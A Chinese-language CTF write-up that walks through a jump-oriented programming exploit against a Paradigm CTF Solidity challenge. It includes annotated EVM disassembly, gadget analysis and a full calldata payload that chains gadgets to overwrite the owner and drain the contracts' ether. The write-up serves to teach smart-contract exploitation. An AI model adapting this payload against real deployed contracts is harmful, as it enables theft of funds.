0x00 背景
考点就是JOP(Jump Oriented Programming¶),这种攻击方式首次应该是出现在RW 2019的决赛上,是首席提出的一种全新攻击方式。然后断断续续在qwb final和其他比赛中也出现过相关的赛题。相对来说是智能合约中较为复杂的一种利用方式。
0x01 分析题目
赛题合约如下:
pragma solidity 0.7.6;
import "private/Challenge.sol";
interface ChallengeInterface is IERC20 {
function buyTokens() external payable;
function owner() external view returns (address);
}
contract Setup {
ChallengeInterface public challenge;
constructor() public payable {
require(msg.value == 50 ether);
challenge = ChallengeInterface(address(new Challenge(990, 1010)));
challenge.buyTokens{value: msg.value}();
}
function isSolved() public view returns (bool) {
return challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
challenge.balanceOf(address(this)) == 0 &&
address(challenge).balance == 0;
}
}
可以看到其引入了一个challenge合约,然后创建的时候给了2个参数,并且用50ether 来buytoken, flag获得条件是首先需要让owner为特定的黑洞地址,然后 challenge合约中发行代币owner持有0,且 challenge合约无存款。
我们构建目录如下
之后部署Setup.sol的时候传入50eth就可以了,然后赛时是没有给出private中的源码,所以我们这里也提取chall.sol的字节码进行逆向分析。
首先我们可以定位到setup.sol中进行的buytoken方法。
我们可以看到:
else if (var0 == 0xd0febe4c) {
// Dispatch table entry for buyTokens()
var1 = 0x0774;
var2 = 0x0ed0;
if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
label_1CB2:
if (tx.gasprice < 0x2e90edd000) {
var3 = 0x1d39;
var4 = msg.value;
// Error: Could not resolve jump destination!
这里给出了一个jump 跳转的位置不确定,或者说无法处理。代表这里可能存在着一种跳转方法。
同时可以想到:如果可控的话是不是就能造成一些危害?
我们跟一下label_1CB2:
label_1CB2:
// Incoming jump from 0x1C26, if 0xffffffffffffffffffffffffffffffffffffffff & msg.sender == 0xffffffffffffffffffffffffffffffffffffffff & 0xffffffffffffffffffffffffffffffffffffffff & storage[0x05] / 0x0100 ** 0x01
// Incoming jump from 0x1CB1
// Inputs[1] { @1CB9 tx.gasprice }
1CB2 5B JUMPDEST
1CB3 64 PUSH5 0x2e90edd000
1CB9 3A GASPRICE
1CBA 10 LT
1CBB 61 PUSH2 0x1d0f
1CBE 57 *JUMPI
// Stack delta = +0
// Block ends with conditional jump to 0x1d0f, if tx.gasprice < 0x2e90edd000
label_1D0F:
// Incoming jump from 0x1CBE, if tx.gasprice < 0x2e90edd000
// Inputs[2]
// {
// @1D13 msg.value
// @1D19 storage[0x0b]
// }
1D0F 5B JUMPDEST
1D10 61 PUSH2 0x1d39
1D13 34 CALLVALUE
1D14 60 PUSH1 0x0b
1D16 60 PUSH1 0x00
1D18 90 SWAP1
1D19 54 SLOAD
1D1A 90 SWAP1
1D1B 61 PUSH2 0x0100
1D1E 0A EXP
1D1F 90 SWAP1
1D20 04 DIV
1D21 80 DUP1
1D22 15 ISZERO
1D23 61 PUSH2 0x1f51
1D26 02 MUL
1D27 17 OR
1D28 67 PUSH8 0xffffffffffffffff
1D31 16 AND
1D32 63 PUSH4 0xffffffff
1D37 16 AND
1D38 56 *JUMP
// Stack delta = +2
// Outputs[2]
// {
// @1D10 stack[0] = 0x1d39
// @1D13 stack[1] = msg.value
// }
// Block ends with unconditional jump to 0xffffffff & 0xffffffffffffffff & (0x1f51 * !(storage[0x0b] / 0x0100 ** 0x00) | storage[0x0b] / 0x0100 ** 0x00)
这里就是他的跳转区。 在0x1d0f中 他的跳转指向。0xffffffff & 0xffffffffffffffff & (0x1f51 * !(storage[0x0b] / 0x0100 0x00) | storage[0x0b] / 0x0100 0x00) 我们这里直接从他的opcode执行开始算最后的跳转即可。
1D0F 5B JUMPDEST 栈上内容:
1D10 61 PUSH2 0x1d39 0x1d39
1D13 34 CALLVALUE 0x1d39 call_value
1D14 60 PUSH1 0x0b 0x1d39 call_value 0x0b
1D16 60 PUSH1 0x00 0x1d39 call_value 0x0b 0x00
1D18 90 SWAP1 0x1d39 call_value 0x00 0x0b
1D19 54 SLOAD 0x1d39 call_value 0x00 storage[0x0b]
1D1A 90 SWAP1 0x1d39 call_value storage[0x0b] 0x00
1D1B 61 PUSH2 0x0100 0x1d39 call_value storage[0x0b] 0x00 0x0100
1D1E 0A EXP 0x1d39 call_value storage[0x0b] 0x01
1D1F 90 SWAP1 0x1d39 call_value 0x01 storage[0x0b]
1D20 04 DIV 0x1d39 call_value storage[0x0b]
1D21 80 DUP1 0x1d39 call_value storage[0x0b] storage[0x0b]
1D22 15 ISZERO 0x1d39 call_value storage[0x0b] 0
1D23 61 PUSH2 0x1f51 0x1d39 call_value storage[0x0b] 0 0x1f51
1D26 02 MUL 0x1d39 call_value storage[0x0b] 0
1D27 17 OR 0x1d39 call_value storage[0x0b]
1D28 67 PUSH8 0xffffffffffffffff 0x1d39 call_value storage[0x0b] 0xffffffffffffffff
1D31 16 AND 0x1d39 call_value storage[0x0b][:8](byte)
1D32 63 PUSH4 0xffffffff 0x1d39 call_value storage[0x0b][:8](byte) 0xffffffff
1D37 16 AND 0x1d39 call_value storage[0x0b][:4]
1D38 56 *JUMP 跳转位置为storage[0x0b]的后4字节。
所以我们急需找到一个能写storage[0x0b]的地方,
看到这里
可惜是internal
找个能直接调用的。
可以看到这个函数在外部可被调用,然后给了2个参数,要求var1=0 也就是not payable. 然后至少Msg.data要有至少一个机器字长
然后传参0x04,和一个0x20. 其中storage[0x0b]=msg.data[0x04:0x24] 也就是第一个值。前4字节是selector.
到此我们已经可以完全掌控跳转了。
0x02寻找跳转
我们通过栈帧分析可以看到,他带了一个参数跳转到nextfunc 然后nextfunc会跳转回0x1d39.
0x1d39
LABEL 1D39:
1D39 5B JUMPDEST
1D3A 56 *JUMP
nextFunc的返回值必定在0x1d39下方,因为这样才可以Jump到0x1d39实现函数返回。
所以需要寻找合适的函数,也就是带一个参数且有返回值。
我们可以轻易地看到一个格格不入的满足条件的函数
function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
r2 = 0x00;
r3 = r2;
var var2 = 0x00;
var var3 = var2;
var temp0 = arg0;
var var4 = msg.data[temp0:temp0 + 0x20];
var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];
if (var5 <= 0x00 << 0x00) {
var temp11 = memory[0x40:0x60];
memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp12 = temp11 + 0x04;
var temp13 = temp12 + 0x20;
memory[temp12:temp12 + 0x20] = temp13 - temp12;
memory[temp13:temp13 + 0x20] = 0x12;
var temp14 = temp13 + 0x20;
memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
var temp15 = memory[0x40:0x60];
revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
} else if (var6 <= 0x00 << 0x00) {
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp7 = temp6 + 0x04;
var temp8 = temp7 + 0x20;
memory[temp7:temp7 + 0x20] = temp8 - temp7;
memory[temp8:temp8 + 0x20] = 0x12;
var temp9 = temp8 + 0x20;
memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
var temp10 = memory[0x40:0x60];
revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
} else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) {
var temp1 = memory[0x40:0x60];
memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp2 = temp1 + 0x04;
var temp3 = temp2 + 0x20;
memory[temp2:temp2 + 0x20] = temp3 - temp2;
memory[temp3:temp3 + 0x20] = 0x12;
var temp4 = temp3 + 0x20;
memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
var temp5 = memory[0x40:0x60];
revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
} else if (var7 >= 0x1b) {
r3 = var7;
arg0 = var5;
r2 = var6;
r0 = var4;
return r0, arg0, r2, r3;
} else {
r3 = var7 + 0x1b;
arg0 = var5;
r2 = var6;
r0 = var4;
return r0, arg0, r2, r3;
}
}
我们发现他会消耗一个参数用来充当offset,然后从data中拷贝4个uint32的值到栈上,
然后通过他的返回值 我们就可以实现重复调用函数来构造栈的效果
0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0x44 0000000000000000000000000000000000000000000000000000000000000084//var5 = next_offset
0x64 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff//var6 = payload1
0x84 000000000000000000000000000000000000000000000000000000000000001a//var7 = payload2
通过buyToken中其跳转就可以访问到 19FC这段gadget,然后开始消耗整个的calldata从而产生效果。我们能够通过这种方法从而每次写入2个值到栈上,在栈上部署好整个的跳转以及calldata最后调用开始位置就可以完成整个gadget的利用。也就是整个JOP。
那么我们开始寻找gadget.
本文参考链接:https://learnblockchain.cn/article/2860#Paradigm-CTF---JOP
第一个条件是需要修改合约owner为定值,找到设置nextOwner的地方,为storage[0x06]
label_102A:
102A 5B JUMPDEST jumpback deadbeaf
102B 80 DUP1 jumpback deadbeaf deadbeaf
102C 60 PUSH1 0x06 jumpback deadbeaf deadbeaf 0x06
102E 60 PUSH1 0x00 jumpback deadbeaf deadbeaf 0x06 0x00
1030 61 PUSH2 0x0100 jumpback deadbeaf deadbeaf 0x06 0x00 0x0100
1033 0A EXP jumpback deadbeaf deadbeaf 0x06 0x01
1034 81 DUP2 jumpback deadbeaf deadbeaf 0x06 0x01 0x06
1035 54 SLOAD jumpback deadbeaf deadbeaf 0x06 0x01 s[06]
1036 81 DUP2 jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01
1037 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01 0xff
104C 02 MUL jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0xff
104D 19 NOT jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x11..00
104E 16 AND jumpback deadbeaf deadbeaf 0x06 0x01 0
104F 90 SWAP1 jumpback deadbeaf deadbeaf 0x06 0 0x01
1050 83 DUP4 jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
1051 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 0xff
1066 16 AND jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
1067 02 MUL jumpback deadbeaf deadbeaf 0x06 0 deadbeaf
1068 17 OR jumpback deadbeaf deadbeaf 0x06 deadbeaf
1069 90 SWAP1 jumpback deadbeaf deadbeaf deadbeaf 0x06
106A 55 SSTORE jumpback deadbeaf deadbeaf
106B 50 POP jumpback deadbeaf
106C 50 POP jumpback
106D 56 *JUMP
这里直接借用上文中的内容了。我觉得这个过程最好是利用多变量方法进行检测,首先假设除去最后的jumpback外还需要很多个变量。然后检查每个变量的使用会不会导致gadget错误。以及保证我们的逻辑正常,比如这里我们想要得到的是能成功SSTORE 0x06这个位置的数据。所以使用jumpback + 0xdeadbeef2个参数就可以成功满足条件了。
所以这里的data就应该是:
0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC //让其重新回到19FC 让他能够再次往栈中存数据
0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset
0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf // 栈中成功存下的数据
0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback //栈中成功存储数据
利用这种办法我们就可以往内存中存入2个数据 一个是我们要设置的addr 还有一个就是下一个JUMP地点。
然后再次寻找清空合约余额的点:
此时上述文章就出现了一些错误,参数部署产生了很多问题。因为最后他的参数已经出现一些问题了。
label_197B:
197B 5B JUMPDEST back7 back6 back5 back4 back3 back2 back1
197C 60 PUSH1 0x60 back7 back6 back5 back4 back3 back2 back1 0x60
197E 91 SWAP2 back7 back6 back5 back4 back3 0x60 back1 back2
197F 50 POP back7 back6 back5 back4 back3 0x60 back1
1980 5B JUMPDEST
1981 50 POP back7 back6 back5 back4 back3 0x60
1982 50 POP back7 back6 back5 back4 back3
1983 90 SWAP1 back7 back6 back5 back3 back4
1984 50 POP back7 back6 back5 back3
1985 80 DUP1 back7 back6 back5 back3 back3
1986 61 PUSH2 0x19f7 back7 back6 back5 back3 back3 0x19f7
1989 57 *JUMPI
label_19F7:
19F7 5B JUMPDEST back7 back6 back5 back3
19F8 50 POP back7 back6 back5
19F9 50 POP back7 back6
19FA 50 POP back7
19FB 56 *JUMP
比如这里 他19F7开始就少了一个back3 而且这里完全没考虑到之前的栈。感觉已经出现了错误。
我直接将samczsun的payload全部的数据部署弄下来做一个解释:
每四个数据中第一个为写入到内存中的数据。最后四个数据为跳板。
因为这里没算函数Selector 所以偏移都多4
0x000 0x0000000000000000000000000000000000000000000000000000000000000774 // JUMPDEST STOP
0x020 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x040 0x00000000000000000000000000000000000000000000000000000000000000c4 // 偏移
0x060 0x0000000000000000000000000000000000000000000000000000000000000cf1 //
0CF1 5B JUMPDEST temp
0CF2 60 PUSH1 0x00 temp 0x00
0CF4 80 DUP1 temp 0x00 0x00
0CF5 60 PUSH1 0x00 temp 0x00 0x00 0x00
0CF7 80 DUP1 temp 0x00 0x00 0x00 0x00
0CF8 61 PUSH2 0x0d00 temp 0x00 0x00 0x00 0x00 0x0d00
0CFB 85 DUP6 temp 0x00 0x00 0x00 0x00 0x0d00 temp
0CFC 61 PUSH2 0x19fc temp 0x00 0x00 0x00 0x00 0x0d00 temp 0x19fc
0CFF 56 *JUMP
跳转到 0x19fc
0x080 0x000000000000000000000000da0bab807633f07f013f94dd0e6a4f96f8742b53 // address(this)
0x0a0 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x0c0 0x0000000000000000000000000000000000000000000000000000000000000144 // 偏移
0x0e0 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x100 0x000000000000000000000000000000000000000000000002b5e3af16b1880044 // 清空余额用的余额
0x120 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x140 0x00000000000000000000000000000000000000000000000000000000000001c4 // 偏移
0x160 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x180 0x000000000000000000000000000000000000000000000000000000000000191b // 清空余额处gadget
0x1a0 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x1c0 0x0000000000000000000000000000000000000000000000000000000000000244 // 偏移
0x1e0 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x200 0x000000000000000000000000d7acd2a9fd159e69bb102a1ca21c9a3e3a5f771b // setup 的地址
0x220 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x240 0x00000000000000000000000000000000000000000000000000000000000002c4 // 偏移
0x260 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x280 0x000000000000000000000000000000000000000000000a7b667f19c28bf00000 // setup 余额
0x2a0 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x2c0 0x0000000000000000000000000000000000000000000000000000000000000344 // 偏移
0x2e0 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x300 0x0000000000000000000000000000000000000000000000000000000000001757 // 清空对应地址余额
0x320 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x340 0x00000000000000000000000000000000000000000000000000000000000003c4 // 偏移
0x360 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x380 0x0000000000000000000000000000000000000000000000000000000000000c4a // 设置 Owner
0x3a0 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x3c0 0x0000000000000000000000000000000000000000000000000000000000000444 // 偏移
0x3e0 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x400 0x000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead // 设置的地址
0x420 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x440 0x00000000000000000000000000000000000000000000000000000000000004c4 // 偏移
0x460 0x0000000000000000000000000000000000000000000000000000000000000cf1 //同上
0x480 0x000000000000000000000000000000000000000000000000000000000000102a //设NEXTOWNERgadget
0x4a0 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x4c0 0x0000000000000000000000000000000000000000000000000000000000000544 // 偏移
0x4e0 0x0000000000000000000000000000000000000000000000000000000000000cf1 // 同上
0x500 0x0000000000000000000000000000000000000000000000000000000000000ede //
0EDE 5B JUMPDEST
0EDF 56 *JUMP
0x520 0x0000000000000000000000000000000000000000000000000000000000000ede
0EDE 5B JUMPDEST
0EDF 56 *JUMP
0x540 0x0000000000000000000000000000000000000000000000000000000000000ede
0EDE 5B JUMPDEST
0EDF 56 *JUMP
0x560 0x0000000000000000000000000000000000000000000000000000000000000ede
0EDE 5B JUMPDEST
0EDF 56 *JUMP
利用下方数据举例。
```asm=
0x000 0x0000000000000000000000000000000000000000000000000000000000000774 // JUMPDEST STOP
0x020 0x0000000000000000000000000000000000000000000000000000000000000ede // JUMPDEST JUMP
0x040 0x00000000000000000000000000000000000000000000000000000000000000c4 // 偏移
0x060 0x0000000000000000000000000000000000000000000000000000000000000cf1 //
之后往下走一直到下个跳转看栈上跳转点是哪里
![](https://md.buptmerak.cn/uploads/upload_b1c0a24b8f9f54a5123862beb8dc31d5.png)
可以看到他会跳1d39
这里是我们之前说过的
```asm=
jump
jumpdest
jump
每次那个Push函数结束都会跳。
然后接着跳栈上我们之前存的0xcf1,也就是最后还会跳回到0x19fc开始下一波calldata存取
一直到最后存EDE
开始从EDE JUMP
消耗完EDE后 栈空间为
从102A,这里开始部署 Storage[6],
然后跳c4a.c4a是取了storage[6]的nextOwner设置为了Owner
然后从c4a跳转 1757
这里是消耗了
这里的钱款.
最后跳转 191b
消耗address(chal)的钱款。
然后由于这里进行了11次19fc 所以要多11个0x4 wei
最后跳转774 是一个STOP.中止执行并回到最初的上下文,也就是payload中继续进行。
也就是完成了所有的执行。
总的来说是非常难的一道题,第一个是gadget寻找,第二个就是部署的时候要如何部署这个跳转让他合理。以及找gadget也可以找很多相对简单的。不要去自己为难自己。后续希望能够做出比赛中这种类型的题(x